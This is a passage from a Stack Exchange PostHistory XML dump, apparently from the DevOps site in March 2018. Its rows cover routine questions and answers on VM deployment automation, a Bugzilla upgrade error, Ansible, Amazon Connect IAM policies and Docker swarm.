./atu.zip ipython_user@10.15.33.31:/C:/Users/ipython_user/Desktop` &#xD;&#xA;4. unzip the files again using powershell using:&#xD;&#xA;`powershell.exe -nologo -noprofile -command &quot;&amp; { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('atu.zip', 'atu'); }&quot;`&#xD;&#xA;5. delete the `virtualenv` folder called `env` in the folder using `plink`&#xD;&#xA;6. create a fresh `env` folder using using `virtualenv`: `virtualenv env`&#xD;&#xA;7. using the `requirements.txt` document, I install the requirements again by&#xD;&#xA;   direcatly using the `pip` installed in the virtualenv above using:&#xD;&#xA;   `/path/to/env/Scripts/pip.exe install -r /path/to/requirements.txt`&#xD;&#xA;8. run the file with the `python` distribution installed in the virtualenv&#xD;&#xA;   using:&#xD;&#xA;   `/path/to/python file_name.py`&#xD;&#xA;&#xD;&#xA;Because I was trying to execute relatively complex commands, which in turn had&#xD;&#xA;multiple quotes (double and single), spaces etc, I had to spend quite a bit of&#xD;&#xA;time just debbuging how to run these commands over the network.  I have&#xD;&#xA;automated most of the deployment part(_STEP 2_) using a combination of&#xD;&#xA;`subprocess.call`, `plink`, and `pscp`. However, I haven't yet automated&#xD;&#xA;setting up the VM (_STEP 1_).&#xD;&#xA;&#xD;&#xA;I am guessing, the above set of actions are not just something I am doing, and&#xD;&#xA;probably others have done this as well. &#xD;&#xA;&#xD;&#xA;Currently, I am using low level tools to acheive this. While this works for&#xD;&#xA;setting up Windows VM, it wont probably work for Linux based VMs or if I change&#xD;&#xA;python versions use a different language etc etc.&#xD;&#xA;&#xD;&#xA;I have also searched a bit and came across this book:&#xD;&#xA;https://www.safaribooksonline.com/library/view/test-driven-development-with/9781449365141/ch09.html&#xD;&#xA;&#xD;&#xA;where the author goes into how to deploy to a linux server. However, it seems&#xD;&#xA;that he is essentially doing what I am doing by directly running commands on&#xD;&#xA;the linux server, just through the `fabric` wrapper. Because `ssh` doesn't work&#xD;&#xA;as well on Windows, I am guessing, I will have to get back to the nitty-grittys&#xD;&#xA;of deployment with `fabric` as well.&#xD;&#xA;&#xD;&#xA;### Question:&#xD;&#xA;&#xD;&#xA;1. Is there a better way to setup the VM, and deploy code to the VMs, while&#xD;&#xA;abstracting away the difference between different operating systems, python&#xD;&#xA;versions, tools etc?&#xD;&#xA;&#xD;&#xA;2. I have also heard of a `git` based workflow. Is that better than directly pushing the code to the server? Why so?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11478" PostHistoryTypeId="1" PostId="3671" RevisionGUID="bf4e4aa4-3702-4ca0-9d7d-46d2b6670238" CreationDate="2018-03-19T17:03:22.497" UserId="6986" Text="Automating creating of new VM and pushing code to server" ContentLicense="CC BY-SA 3.0" />
  <row Id="11479" PostHistoryTypeId="3" PostId="3671" RevisionGUID="bf4e4aa4-3702-4ca0-9d7d-46d2b6670238" CreationDate="2018-03-19T17:03:22.497" UserId="6986" Text="&lt;deployment&gt;&lt;git&gt;&lt;python&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11480" PostHistoryTypeId="4" PostId="3671" RevisionGUID="475780ee-69f9-4899-b1d8-1661396d0e60" CreationDate="2018-03-19T17:52:30.110" UserId="6986" Comment="edited title" Text="Automating creation of new VM and pushing code to server" ContentLicense="CC BY-SA 3.0" />
  <row Id="11481" PostHistoryTypeId="5" PostId="3667" RevisionGUID="1840266f-0b49-4f85-a7f0-af94af8fe0ef" CreationDate="2018-03-19T19:10:10.760" UserId="6578" Comment="added 1 character in body" Text="This question ties in heavily with your [other question](https://devops.stackexchange.com/q/3659/6578) with where the secrets are set and where they retrieved from.&#xD;&#xA;&#xD;&#xA;I assume your question is asking about 'canary deployments' where you change the config for only a small portion of your apps, to test things out before deploying everywhere.&#xD;&#xA;&#xD;&#xA;If you follow the best practice of using the [12 Factor app's recommendation](https://12factor.net/config) of 'environment variables', then changing secrets becomes very easy. At the very worst, you could log into the production server, update the ENV VAR, and then restart your app manually. In Kubernetes, this is even easier, as you can edit the ENV variables from the UI, and then restart the pod.&#xD;&#xA;&#xD;&#xA;However, you don't want to be doing that manual process if you can avoid it. If your Configuration Management tool sets the ENV VAR, then you can tell it to update a specific group of servers only. If your build server injects the ENV vars, and it supports canary deployments, then you can easily just do a canary deployment like normal." ContentLicense="CC BY-SA 3.0" />
  <row Id="11491" PostHistoryTypeId="2" PostId="3675" RevisionGUID="aefd254c-33af-4c1c-b04e-2713ff0748e4" CreationDate="2018-03-19T21:14:57.090" UserId="3062" Text="Relatively speaking, the concept of devops is new and still defining itself in my opinion.  I currently fulfill a devops engineer role. For me, this means I facilitate and develop the tools and processes used by both our dev and ops teams freeing them to focus on the product that generates revenue for the company.  The ops and dev teams spin up their own servers and such as needed.  I just hook up the CI for our products, ensure our processes makes sense and seek out what process can be improved/automated.  I meet with all of our departments, from sales, to warehouse, to developers and operations (QA and release managers) to see what they are doing and how I can improve their process." ContentLicense="CC BY-SA 3.0" />
  <row Id="11492" PostHistoryTypeId="5" PostId="483" RevisionGUID="b9647136-cf4c-46f7-8865-10af77e11ade" CreationDate="2018-03-19T21:14:58.557" UserId="47" Comment="fixed typos" Text="### What exactly are they?&#xD;&#xA;&#xD;&#xA;Here is a quote from [reproducible-builds.org][1]:&#xD;&#xA;&#xD;&#xA;&gt; Reproducible builds are a set of software development practices that create a verifiable path from human readable source code to the binary code used by computers.&#xD;&#xA;&#xD;&#xA;### Why are they important?&#xD;&#xA;&#xD;&#xA;IMO the easiest way to explain their importance is to consider them as a variation of a backup procedure.&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;- Assume a business which uses (depends) on some software package licensed from some software vendor. Whereas the business only gets the executables, not the sources, etc that were used to create those executables.&#xD;&#xA;&#xD;&#xA;- Everything goes well, but at some point something goes wrong with the software vendor, e.g. they go out of business (eg bankrupcy).&#xD;&#xA;&#xD;&#xA;- This may expose a risk to the business (in the long run). I.e. if there is no procedure/agreement in place for the business to get (legal) access to all required sources, documentation, build procedures, etc related to anything from the software vendor used (back in the days) when the executables (used by the business) were created (and shipped to the business).&#xD;&#xA;&#xD;&#xA;- That's were &quot;*Software Escrow*&quot; comes to the rescue: if there is such agreement in place, one would think that via a 3rd party, it would still be possible for the business to get access to &quot;*whatever was used*&quot; to be able to reproduce the executables, so that from there on, the business might have a chance to continue to use that software, and where apropriate start maintaining it themselves (for only running their own business).&#xD;&#xA;&#xD;&#xA;- However, the &quot;*whatever was used*&quot; in the previous bullet is the toughest part to make this work. It requires that the 3rd party performs appropriate validations upfront. And trust me, it takes a while before you can recreate an executable for which you can prove that, apart from (eg) the link date, it is a perfect match with what the software vendor delivers to the software agent.&#xD;&#xA;&#xD;&#xA;### And why are they so difficult to create?&#xD;&#xA;&#xD;&#xA;If the above sample is still not clear enough, imagine you're my software escrow agent, tell me what you need as input to recreate a copy of the software licensed by my customer. Get it? You didn't forget to check about which version of my compiler, maybe my OS, compile/link options, versions of reusable components (includes), libraries, etc?&#xD;&#xA;&#xD;&#xA;  [1]: https://reproducible-builds.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11494" PostHistoryTypeId="50" PostId="1832" RevisionGUID="c246dfdc-0146-4f50-88a1-0bff669a5d4e" CreationDate="2018-03-19T22:50:38.540" UserId="-1" />
  <row Id="11495" PostHistoryTypeId="2" PostId="3676" RevisionGUID="19695e31-0be6-4a38-b691-60f8c87d6e48" CreationDate="2018-03-20T00:51:51.470" UserId="6992" Text="I've just updated Bugzilla from 4.2 to 5.0 on our Centos 6 vps, using the tarball method:&#xD;&#xA;&#xD;&#xA;    bash$ cd /var/www/html&#xD;&#xA;    bash$ wget https://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-5.0.4.tar.gz&#xD;&#xA;    bash$ tar xzvf bugzilla-5.0.4.tar.gz&#xD;&#xA;    bash$ cd bugzilla-5.0.4&#xD;&#xA;    bash$ cp ../bugzilla/localconfig* .&#xD;&#xA;    bash$ cp -r ../bugzilla/data .&#xD;&#xA;    bash$ cd ..&#xD;&#xA;    bash$ mv bugzilla bugzilla.old&#xD;&#xA;    bash$ mv bugzilla-5.0.4 bugzilla&#xD;&#xA;&#xD;&#xA;I'm getting the following error from `./checksetup.pl`:&#xD;&#xA;&#xD;&#xA;&gt; Can't locate parent.pm in @INC (@INC contains: . lib /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5) at Bugzilla/Constants.pm line 14.&#xD;&#xA;&#xD;&#xA;&gt; BEGIN failed--compilation aborted at Bugzilla/Constants.pm line 14.&#xD;&#xA;&#xD;&#xA;&gt; Compilation failed in require at ./checksetup.pl line 27.&#xD;&#xA;&#xD;&#xA;&gt; BEGIN failed--compilation aborted at ./checksetup.pl line 27.&#xD;&#xA;&#xD;&#xA;What did I do wrong and/or how to fix?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11496" PostHistoryTypeId="1" PostId="3676" RevisionGUID="19695e31-0be6-4a38-b691-60f8c87d6e48" CreationDate="2018-03-20T00:51:51.470" UserId="6992" Text="Bugzilla 4.2 to 5.0.4 'Can't locate parent.pm in @INC'" ContentLicense="CC BY-SA 3.0" />
  <row Id="11497" PostHistoryTypeId="3" PostId="3676" RevisionGUID="19695e31-0be6-4a38-b691-60f8c87d6e48" CreationDate="2018-03-20T00:51:51.470" UserId="6992" Text="&lt;sysadmin&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11498" PostHistoryTypeId="2" PostId="3677" RevisionGUID="58c7c114-467c-4bde-afa9-d67b75314b0b" CreationDate="2018-03-20T01:30:59.190" UserId="6992" Text="I needed to install a new perl module&#xD;&#xA;&#xD;&#xA;    yum install perl-parent&#xD;&#xA;&#xD;&#xA;then I had to install `make` to install other dependencies:&#xD;&#xA;&#xD;&#xA;    cpan&#xD;&#xA;    o conf make '/usr/bin/make' #or path to your make&#xD;&#xA;    o conf commit&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="11499" PostHistoryTypeId="12" PostId="3670" RevisionGUID="2d8db7ed-ced1-48f7-a102-763ae5aad256" CreationDate="2018-03-20T06:42:14.153" UserId="6985" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:6985,&quot;DisplayName&quot;:&quot;Essex Boy&quot;}]}" />
  <row Id="11500" PostHistoryTypeId="6" PostId="1820" RevisionGUID="6bcd94e5-64a4-45e8-9e98-acd2b6d37b07" CreationDate="2018-03-20T09:19:35.577" UserId="13" Comment="edited tags" Text="&lt;release-management&gt;&lt;powershell&gt;&lt;vsts&gt;&lt;azure-pipelines&gt;&lt;vso&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11501" PostHistoryTypeId="2" PostId="3678" RevisionGUID="b866ab00-406f-47ec-9a70-03b55190aae9" CreationDate="2018-03-20T10:33:39.267" UserId="707" Text="Finally, it is possible in Bamboo to let a build run in a Docker container without dealing with agent configuration.&#xD;&#xA;&#xD;&#xA;The system just asks for a image.&#xD;&#xA;&#xD;&#xA;Now, what about the underlying infrastructure, what happens there? &#xD;&#xA;Will then Bamboo server host just spawn containers locally (which limits horizontal scalability)? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11502" PostHistoryTypeId="1" PostId="3678" RevisionGUID="b866ab00-406f-47ec-9a70-03b55190aae9" CreationDate="2018-03-20T10:33:39.267" UserId="707" Text="Build isolation - Docker container based builds in Bamboo 6.4.0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11503" PostHistoryTypeId="3" PostId="3678" RevisionGUID="b866ab00-406f-47ec-9a70-03b55190aae9" CreationDate="2018-03-20T10:33:39.267" UserId="707" Text="&lt;docker&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11504" PostHistoryTypeId="2" PostId="3679" RevisionGUID="77551c66-334c-4c13-9f39-edaba55d3452" CreationDate="2018-03-20T10:50:02.460" UserId="4289" Text="Instead of using custom scripts which it seems that you are using, I would consider using open-source tools, similar to what Tensibai has suggested in his comments.&#xD;&#xA;&#xD;&#xA;I would further split your two Tasks a bit more differently, such that Step 1 would be to just &quot;*Set up the VM*&quot;, and Step 2 would be to &quot;*Provision the VM with required programs and configuration*&quot;.&#xD;&#xA;&#xD;&#xA;My 2-cents would be to use tools such as [Packer](https://www.packer.io/) and [Ansible](https://www.ansible.com/).&#xD;&#xA;&#xD;&#xA;You would use (for example), the [VirtualBox Packer builder](https://www.packer.io/docs/builders/virtualbox-ovf.html), to stand up your VM, which would handle points 1-4 of your Step 1, and then use the [Ansible-local](https://www.packer.io/docs/provisioners/ansible-local.html) provisioner, or something to this effect, to run a [playbook](https://docs.ansible.com/ansible/latest/playbooks.html), which would handle the rest of Step 1, and all of Step 2.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The above suggestion would make your life a lot easier, and would be able to abstract different OS's as well as you'd just write a different Packer template and Ansible task. With installing different Python versions / Tools, you'll just need to update the Ansible role / have several different roles with the specific tools.&#xD;&#xA;&#xD;&#xA;There are of course, other tools such as [Vagrant](https://www.vagrantup.com/), [Puppet](https://puppet.com/), and [Chef](https://www.chef.io/chef/), which can handle what you'd like to achieve, so it's up to you find your preferred tool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Mini breakdown of Ansible modules you can use:&#xD;&#xA;&#xD;&#xA; - Open up port: [win_firewal_rule_module](https://docs.ansible.com/ansible/latest/win_firewall_rule_module.html)&#xD;&#xA; - Installing bitvise and python: [win_chocolatey](https://docs.ansible.com/ansible/latest/win_chocolatey_module.html)&#xD;&#xA; - Setting up pip and virtual envs: [pip](https://docs.ansible.com/ansible/latest/pip_module.html)&#xD;&#xA; - Transferring public keys / requirements.txt etc: [win_copy](https://docs.ansible.com/ansible/latest/win_copy_module.html)&#xD;&#xA;&#xD;&#xA;Etc. The full list of Ansible Windows Modules can be found [here](https://docs.ansible.com/ansible/latest/list_of_windows_modules.html)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11509" PostHistoryTypeId="2" PostId="3681" RevisionGUID="1a13fa42-0f74-4872-b4ea-ca3da5675269" CreationDate="2018-03-20T14:56:07.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11510" PostHistoryTypeId="1" PostId="3681" RevisionGUID="1a13fa42-0f74-4872-b4ea-ca3da5675269" CreationDate="2018-03-20T14:56:07.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11511" PostHistoryTypeId="2" PostId="3682" RevisionGUID="c6b53db6-630d-4761-a25c-5bfbcbeeb33a" CreationDate="2018-03-20T14:56:07.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11512" PostHistoryTypeId="1" PostId="3682" RevisionGUID="c6b53db6-630d-4761-a25c-5bfbcbeeb33a" CreationDate="2018-03-20T14:56:07.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11514" PostHistoryTypeId="2" PostId="3683" RevisionGUID="0873cdad-e4cc-4ce8-b7a6-97d97bfc2698" CreationDate="2018-03-20T16:24:02.683" UserId="7000" Text="Since you posted your original question, Datastax has come out with dockerized images of datastax enterprise, along with a comprehensive guide. I'd start with [this reference][1] and maybe check out this older &quot;[Best Practices][2]&quot; doc, although some details might have changed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/datastax/docker-images/blob/master/README.md&#xD;&#xA;  [2]: http://www.datastax.com/wp-content/uploads/resources/DataStax-WP-Best_Practices_Running_DSE_Within_Docker.pdf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11515" PostHistoryTypeId="2" PostId="3684" RevisionGUID="2fdb8eaf-bc39-437c-b514-50502c103be5" CreationDate="2018-03-20T19:47:22.173" UserId="7006" Text="I recently ran into the same error. In my case, I had rebased a branch and was attempting to push to the remote. One of the pulled commits had changed the structure of a few directories, and git refused to push after the rebase, throwing:&#xD;&#xA;&#xD;&#xA;    fatal: ambiguous argument 'path/to/scripts': unknown revision or path not in the working tree.&#xD;&#xA;    Use '--' to separate paths from revisions, like this:&#xD;&#xA;    'git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'&#xD;&#xA;    Cannot open directory /absolute/path/to/scripts: No such file or directory&#xD;&#xA;    error: failed to push some refs to 'git@host:repo'&#xD;&#xA;&#xD;&#xA;I tore apart all of my git configs and could not find the cause of this anywhere. The culprit turned out to be a pre-push git hook, left over from some previous config we used to use, which included some operations on the now-defunct directory.&#xD;&#xA;&#xD;&#xA;While this clearly wasn't the cause of the OP's issue, thought I'd post this here in case someone else gets bitten. Beware the git hooks..." ContentLicense="CC BY-SA 3.0" />
  <row Id="11516" PostHistoryTypeId="5" PostId="3682" RevisionGUID="df058a63-7b0e-47f0-a45f-1fee6215c5dd" CreationDate="2018-03-21T01:43:08.573" UserId="3062" Comment="added 219 characters in body" Text="Used to denote using Microsoft's visual studio online source control, build automation, and release management stack all of which is hosted by Microsoft, in the cloud.  This is in contrast to their on premise solutions." ContentLicense="CC BY-SA 3.0" />
  <row Id="11517" PostHistoryTypeId="24" PostId="3682" RevisionGUID="df058a63-7b0e-47f0-a45f-1fee6215c5dd" CreationDate="2018-03-21T01:43:08.573" Comment="Proposed by 3062 approved by 40, 47 edit id of 644" ContentLicense="CC BY-SA 3.0" />
  <row Id="11518" PostHistoryTypeId="2" PostId="3685" RevisionGUID="22e9d284-d4e5-4cc2-8ed7-4b31569d5342" CreationDate="2018-03-21T01:54:42.600" UserId="3087" Text="I don't want to use Jenkins UI, instead I would like to use the command line, from command line I want to execute Jenkinsfile to the Jenkins server.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;Let's say I have a Jenkinsfile, If I run the Jenkinsfile, It shoud execute the Jenkinsfile from Jenkins server. Assume that the job not yet configured through Jenkins UI. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11519" PostHistoryTypeId="1" PostId="3685" RevisionGUID="22e9d284-d4e5-4cc2-8ed7-4b31569d5342" CreationDate="2018-03-21T01:54:42.600" UserId="3087" Text="Is there a way to run the Jenkinsfile from command line?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11520" PostHistoryTypeId="3" PostId="3685" RevisionGUID="22e9d284-d4e5-4cc2-8ed7-4b31569d5342" CreationDate="2018-03-21T01:54:42.600" UserId="3087" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11521" PostHistoryTypeId="2" PostId="3686" RevisionGUID="5f6330d8-6140-43d9-8fa0-655bd07de2b6" CreationDate="2018-03-21T05:08:15.570" UserId="7012" Text="Another approach you can do is set up a nexus repository server where you host your npm modules and proxy the external ones.  It does not leverage the cache, but because the resources are within your local network or maybe in the same swarm it shouldn't take as long." ContentLicense="CC BY-SA 3.0" />
  <row Id="11522" PostHistoryTypeId="2" PostId="3687" RevisionGUID="62f43d35-744f-4002-865d-71ee90843635" CreationDate="2018-03-21T12:30:33.183" UserId="6896" Text="I was trying to lock down user account just to Amazon Connect, Lambda and S3. I was able to give permissions to S3 and Lambda but I cannot find permissions for Amazon Connect. I have went through the documentation etc. but I cannot find out the proper name of that service so I will be able to write a policy for it. Would you be able to help? " ContentLicense="CC BY-SA 3.0" />
  <row Id="11523" PostHistoryTypeId="1" PostId="3687" RevisionGUID="62f43d35-744f-4002-865d-71ee90843635" CreationDate="2018-03-21T12:30:33.183" UserId="6896" Text="Amazon AWS - Amazon Connect IAM policies" ContentLicense="CC BY-SA 3.0" />
  <row Id="11524" PostHistoryTypeId="3" PostId="3687" RevisionGUID="62f43d35-744f-4002-865d-71ee90843635" CreationDate="2018-03-21T12:30:33.183" UserId="6896" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11525" PostHistoryTypeId="2" PostId="3688" RevisionGUID="ca78ac15-74a8-4388-b5fa-cbbb87ad386c" CreationDate="2018-03-21T12:34:29.903" UserId="6591" Text="I've noticed that the expect module will always time out and cause an rc=1 code. It's doing everything that I wand it to, I just want to move to another module. How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play" ContentLicense="CC BY-SA 3.0" />
  <row Id="11526" PostHistoryTypeId="1" PostId="3688" RevisionGUID="ca78ac15-74a8-4388-b5fa-cbbb87ad386c" CreationDate="2018-03-21T12:34:29.903" UserId="6591" Text="Ansible Expect module times out; unable to end play or move to another module" ContentLicense="CC BY-SA 3.0" />
  <row Id="11527" PostHistoryTypeId="3" PostId="3688" RevisionGUID="ca78ac15-74a8-4388-b5fa-cbbb87ad386c" CreationDate="2018-03-21T12:34:29.903" UserId="6591" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11528" PostHistoryTypeId="2" PostId="3689" RevisionGUID="c9b91ab8-f4ee-4f93-9a17-18c94859535c" CreationDate="2018-03-21T12:44:57.647" UserId="13" Text="There's a generator for policies in IAM (Into IAM -&gt; Policies -&gt; Create), choosing connect gives me the following policy:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Sid&quot;: &quot;VisualEditor0&quot;,&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;connect:DescribeInstance&quot;,&#xD;&#xA;                    &quot;connect:CreateInstance&quot;,&#xD;&#xA;                    &quot;connect:ModifyInstance&quot;,&#xD;&#xA;                    &quot;connect:ListInstances&quot;,&#xD;&#xA;                    &quot;connect:GetFederationTokens&quot;,&#xD;&#xA;                    &quot;connect:DestroyInstance&quot;,&#xD;&#xA;                    &quot;connect:GetFederationToken&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There's a warning on the action part saying:&#xD;&#xA;&#xD;&#xA; - connect:DescribeInstance action requires 7 more actions to provide full permissions&#xD;&#xA; - connect:CreateInstance action requires 13 more actions to provide full permissions&#xD;&#xA; - connect:ModifyInstance action requires 10 more actions to provide full permissions&#xD;&#xA;&#xD;&#xA;Each of them says:&#xD;&#xA;&#xD;&#xA;To allow an entity to call 'DescribeInstance', grant all of the following required permissions.&#xD;&#xA;&#xD;&#xA; - firehose:DescribeDeliveryStream&#xD;&#xA; - firehose:ListDeliveryStreams&#xD;&#xA; - kinesis:DescribeStream&#xD;&#xA; - kinesis:ListStreams&#xD;&#xA; - kms:DescribeKey&#xD;&#xA; - kms:ListAliases&#xD;&#xA; - s3:ListAllMyBuckets&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To allow an entity to call 'CreateInstance', grant all of the following required permissions.&#xD;&#xA;&#xD;&#xA; - ds:CreateAlias&#xD;&#xA; - ds:DeleteDirectory&#xD;&#xA; - ds:DescribeDirectories&#xD;&#xA; - firehose:DescribeDeliveryStream&#xD;&#xA; - firehose:ListDeliveryStreams&#xD;&#xA; - kinesis:DescribeStream&#xD;&#xA; - kinesis:ListStreams&#xD;&#xA; - kms:CreateGrant&#xD;&#xA; - kms:DescribeKey&#xD;&#xA; - kms:ListAliases&#xD;&#xA; - kms:RetireGrant&#xD;&#xA; - s3:CreateBucket&#xD;&#xA; - s3:ListAllMyBuckets&#xD;&#xA;&#xD;&#xA;To allow an entity to call 'ModifyInstance', grant all of the following required permissions.&#xD;&#xA;&#xD;&#xA; - firehose:DescribeDeliveryStream&#xD;&#xA; - firehose:ListDeliveryStreams&#xD;&#xA; - kinesis:DescribeStream&#xD;&#xA; - kinesis:ListStreams&#xD;&#xA; - kms:CreateGrant&#xD;&#xA; - kms:DescribeKey&#xD;&#xA; - kms:ListAliases&#xD;&#xA; - kms:RetireGrant&#xD;&#xA; - s3:CreateBucket&#xD;&#xA; - s3:ListAllMyBuckets&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Which once compiled gives the following policy when not filtering on any resource:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Sid&quot;: &quot;VisualEditor0&quot;,&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;connect:DescribeInstance&quot;,&#xD;&#xA;                    &quot;connect:ModifyInstance&quot;,&#xD;&#xA;                    &quot;connect:GetFederationTokens&quot;,&#xD;&#xA;                    &quot;s3:CreateBucket&quot;,&#xD;&#xA;                    &quot;kinesis:DescribeStream&quot;,&#xD;&#xA;                    &quot;kms:RetireGrant&quot;,&#xD;&#xA;                    &quot;connect:DestroyInstance&quot;,&#xD;&#xA;                    &quot;firehose:DescribeDeliveryStream&quot;,&#xD;&#xA;                    &quot;kinesis:ListStreams&quot;,&#xD;&#xA;                    &quot;connect:CreateInstance&quot;,&#xD;&#xA;                    &quot;s3:ListAllMyBuckets&quot;,&#xD;&#xA;                    &quot;connect:ListInstances&quot;,&#xD;&#xA;                    &quot;kms:ListAliases&quot;,&#xD;&#xA;                    &quot;ds:DescribeDirectories&quot;,&#xD;&#xA;                    &quot;kms:DescribeKey&quot;,&#xD;&#xA;                    &quot;firehose:ListDeliveryStreams&quot;,&#xD;&#xA;                    &quot;ds:CreateAlias&quot;,&#xD;&#xA;                    &quot;kms:CreateGrant&quot;,&#xD;&#xA;                    &quot;connect:GetFederationToken&quot;,&#xD;&#xA;                    &quot;ds:DeleteDirectory&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="11529" PostHistoryTypeId="2" PostId="3690" RevisionGUID="5fbb6a2b-776c-4f5d-b6b4-2ebf80b928af" CreationDate="2018-03-21T14:11:26.210" UserId="6769" Text="I have a problem with my docker swarm. I created a new service with the following command:&#xD;&#xA;&#xD;&#xA;    docker-compose config | docker stack deploy -c - serviceNameX --with-registry-auth&#xD;&#xA;&#xD;&#xA;The docker-compose file looks like that:&#xD;&#xA;&#xD;&#xA;    version: '3.1'&#xD;&#xA;    services:&#xD;&#xA;      serviceNameX:&#xD;&#xA;        image: ${DOCKER_REGISTRY}imageNameX:${VERSION}&#xD;&#xA;        deploy:&#xD;&#xA;          resources:&#xD;&#xA;            limits:&#xD;&#xA;              memory: 2gb&#xD;&#xA;        env_file:&#xD;&#xA;          - ../common.env&#xD;&#xA;          - .env&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        external:&#xD;&#xA;          name: ${DOCKER_NETWORK}&#xD;&#xA;&#xD;&#xA;fyi: docker-compose config is used because docker stack deploy can't expand environment variables. At least to my knowledge.&#xD;&#xA;&#xD;&#xA;docker service ps serviceNameX&#xD;&#xA;&#xD;&#xA;    ID                  NAME                              IMAGE                                                         NODE                DESIRED STATE       CURRENT STATE       ERROR               PORTS&#xD;&#xA;    ify7vhl0l2m8        serviceNameX.1   nexus.local/imageNameX:1                       Running             New 2 hours ago&#xD;&#xA;&#xD;&#xA;docker service ls&#xD;&#xA;&#xD;&#xA;    afnjo97f6nuf        serviceNameX                      replicated          0/1                 nexus.local/imageNameX:1&#xD;&#xA;&#xD;&#xA;All nodes are Ready and Active&#xD;&#xA;&#xD;&#xA;There is no indication or information of an error. Usually docker service ps shows if an error occurs. Is there another useful log?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11530" PostHistoryTypeId="1" PostId="3690" RevisionGUID="5fbb6a2b-776c-4f5d-b6b4-2ebf80b928af" CreationDate="2018-03-21T14:11:26.210" UserId="6769" Text="Docker swarm replica stays 0/1 and service stays in status new" ContentLicense="CC BY-SA 3.0" />
  <row Id="11531" PostHistoryTypeId="3" PostId="3690" RevisionGUID="5fbb6a2b-776c-4f5d-b6b4-2ebf80b928af" CreationDate="2018-03-21T14:11:26.210" UserId="6769" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
